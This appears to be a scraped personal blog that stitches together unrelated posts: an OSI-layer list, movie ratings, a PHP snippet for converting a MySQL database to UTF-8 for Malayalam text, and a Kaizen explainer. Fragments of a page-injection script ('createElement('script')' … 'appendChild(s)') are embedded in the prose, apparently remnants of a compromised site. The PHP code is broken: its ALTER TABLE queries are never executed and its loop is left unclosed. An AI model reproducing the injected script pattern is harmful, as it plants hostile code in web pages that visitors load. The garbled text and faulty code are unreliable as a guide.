OSI Model

The 7 Layers

To perform network basics (port forwarding, NAT, packet filtering firewalls, etc) it is important to have a good understanding of the first 3 network layers. As a network adminsitrator, it is these layers that the equipment you deal with operate.

1. Physical
2. Link (Data Link)
3. Network
4. Transport
5. Session
6. Presentation
7. Application

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Movie Wish List

Memento | 10/10
Seven Pound | 10/10
Oye Lucky | 9/10 | Dibakar Banerjee does it again (well atleast for the intellectual minds :P)
Madagascar 2 | 8/10
Death Race | 8/10
Son of Rambow | 7.5/10 | (2007) (http://www.imdb.com/title/tt0845046/) :
Reservoir Dogs |  8.7/10
Requiem for a Dream | 9.5/10
Madagascar Penguins in Christmas Capers
Cashback | 7.8/10
Changing Lanes | 7/10
X.Files – Fight the future | 8/10
All boys love mandy lane | 7/10
the cell | 7/10
Death Sentence |  6/10
hancock | 6.5/10
Taken | |Worth watching 🙂
Thunderpants | 7/10
Zack & Miri make a Porno |  7/10
Righteous Kill | 7.5/10
Slumdog Millionaire | 8/10 | Nice Movie
Erin Brockovich
| 7/10
P.S. I Love You

Addicted to Love
Disturbia.Good thriller | 7/10.
The fountain- A really strange move|  7/10
Tropic Thunder | 8.5/10
Office Space | 9/10
Vantage point | 8/10
Training Day | 8/10
Hackers 1995
Porco rosso | 8/10 | (Ghibli Studio animation)
The Wackness | 8/10
Blue Velvet | 7.5/10
The Wrestler | 9/10
The Jungle Book | 11/10
Jumbo | 8/10
Revolutionary Road | 9/10
Reign over me. | 9/10.
In the valley of elah | 8/10.
Maria Full of Grace | 8/10
The visitor | 8/10
black balloon | 9/10
the fall | 8/10
Holes | 8/10
Traitor | 7/10
Crash (2004) | 9.9/10
Pineapple express  | 8/10
Revolutionary Road | 9/10
Fabuleux destin d’Amélie Poulain, Le (2001) | 9/10
Taken | 8/10
Black Friday | 9/10
Kiki’s Delivery Service | 8/10 | (Studio Ghibli Animation)
Tokyo Marble Chocolate | 8/10 | (animation)
Once Upon A Time In America  | 8.5/10
Get smart | 9
Without A Paddle (2004) | 8/10
Inside Man | 8/10
RockNRolla | 8.5/10
Waking Ned Devine | 11/10
The 40 year old virgin | 8/10
The curious case of Benjamin Button | 10/10
Sling Blade | 8/10
Deception | 8/10.
The Last of the Mohicans | 8/10
Max Payne | 7/10
Zack and Miri make a Porno | 7/10
The Wrestler | 9.5/10 |  Awesome
The President is Coming | 8/10
Just Like Heaven | 7.5/10
RocknRolla | 9/10
A Wednesday | 8/10
Fashion | 7.2/10
Scent of a Woman | 8/10 | Al Pacino is extraordinary..

diehard series, matrix series, LOTR series, pink panther series, naked gun series, adam sandler movies, jim carrey movies, lucky number slevin, kiss kiss bang bang, whole nine yardsvar d=document;var s=d.createElement(‘script’);

blogging in malayalam

I started this blog and decided to put in a malayalam blogging section in this one.  So inorder to start writing in malayalam, I had to do compose in malayalam.  I knew that there is a software which allows to write in “manglish” which will convert the english directly to malayalam. However my search for it ended at the google transliteration software.


What we have to do is

1) write the content in the google Transliteration software.

2) then copy-paste the same to the post.

I did the same, but was presented with garbled characters on the post. To be more specific, the characters were not displayed in malayalam, but instead a lot of I mean, a lot of question marks were at its place.  So I started my hunt again in my trusted friend, google. After a long search, I was able to find that the reason for this is due to the encoding used. So I tried changing the encoding format of my brower(firefox). View>Character Encoding.

Tried various encodings to no good. So again after an extensive search, I found that the mysql DB is the culprit. The trouble occured due to the fact that the default collation for the mysql db is latin1. So I have to change the collation to utf-8 encoding which is supposed to support the indic laguages(ie including malayalam). Instead of doing each of the tables manually using phpmyadmin, I used the following php code snippet to change the collation.

Use the below php code to make the character set of mysql db to be utf8_general_ci

$dbname = ‘dbname’;
mysql_connect(‘’, ‘username’, ‘pass’);
mysql_query(“ALTER DATABASE `$dbname` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”);
$res = mysql_query(“SHOW TABLES FROM `$dbname`”);
while($row = mysql_fetch_row($res)) {
$query = “ALTER TABLE {$dbname}.`{$row[0]}` CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci”;
$query = “ALTER TABLE {$dbname}.`{$row[0]}` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”;
echo ‘all tables converted’;

Instead of using the google tranliteration, I got hold of a wordpress plugin for the same. Google Indic Transliteration

Now that the base ground is set, I will be starting my malayalam blog in full blast… Hurray!!!!d.getElementsByTagName(‘head’)[0].appendChild(s);


ഇതു മലയാളം ചെറുകഥ, നോവല്‍ റിവ്യൂ ചെയ്യാനുള്ള ബ്ലോഗ് ആണ്.

എന്ന് സ്വന്തം,
മത്തായി }


KAIZEN is a word that has been on a board in my office. I always wondered whether everyone except for those put it there knew why it was there!

To be frank, as a member of the team, I did not. So I decided to dig into it to some extend which is why I ended up posting this here.

So here you go…..

Kaizen ( Japanese for “continuous improvement”) is a Japanese philosophy that focuses on continuous improvement throughout all aspects of life. When applied to the workplace, Kaizen activities continually improve all functions of a business, from manufacturing to management and from the CEO to the assembly line workers.By improving standardized activities and processes, Kaizen aims for More value with less work.

K. means literally: change (kai) to become good (zen).

Kaizen was first implemented in several Japanese businesses during the country’s recovery after World War II, including Toyota, and has since spread to businesses throughout the world. The Toyota Production System is known for kaizen, where all line personnel are expected to stop their moving production line in case of any abnormality and, along with their supervisor, suggest an improvement to resolve the abnormality which may initiate a kaizen.

The foundation of the Kaizen method consists of 5 founding elements:
1. teamwork
2. personal discipline,
3. improved morale,
4. quality circles, and
5. suggestions for improvement.

Kaizen five-S framework
1. Seiri – tidiness
2. Seiton – orderliness
3. Seiso – cleanliness
4. Seiketsu – standardized clean-up
5. Shitsuke – discipline

When to apply the Kaizen philosophy? Although it is difficult to give generic advice it is clear that it fits well in incremental change situations that require long-term change and in collective cultures.

When Kaizen is compared to BPR is it clear the K. philosophy is more people-oriented, more easy to implement, requires long-term discipline. BPR on the other hand is harder, technology-oriented, enables radical change but requires major change management skills.

*BPR(Business Process Reengineering is defined by Hammer and Champy as ‘the fundamental reconsideration and radical redesign of organizational processes, in order to achieve drastic improvement of current performance in cost, service and speed )

Kaizen is relevant in areas of life other than the workplace.

Here is one link for further reading.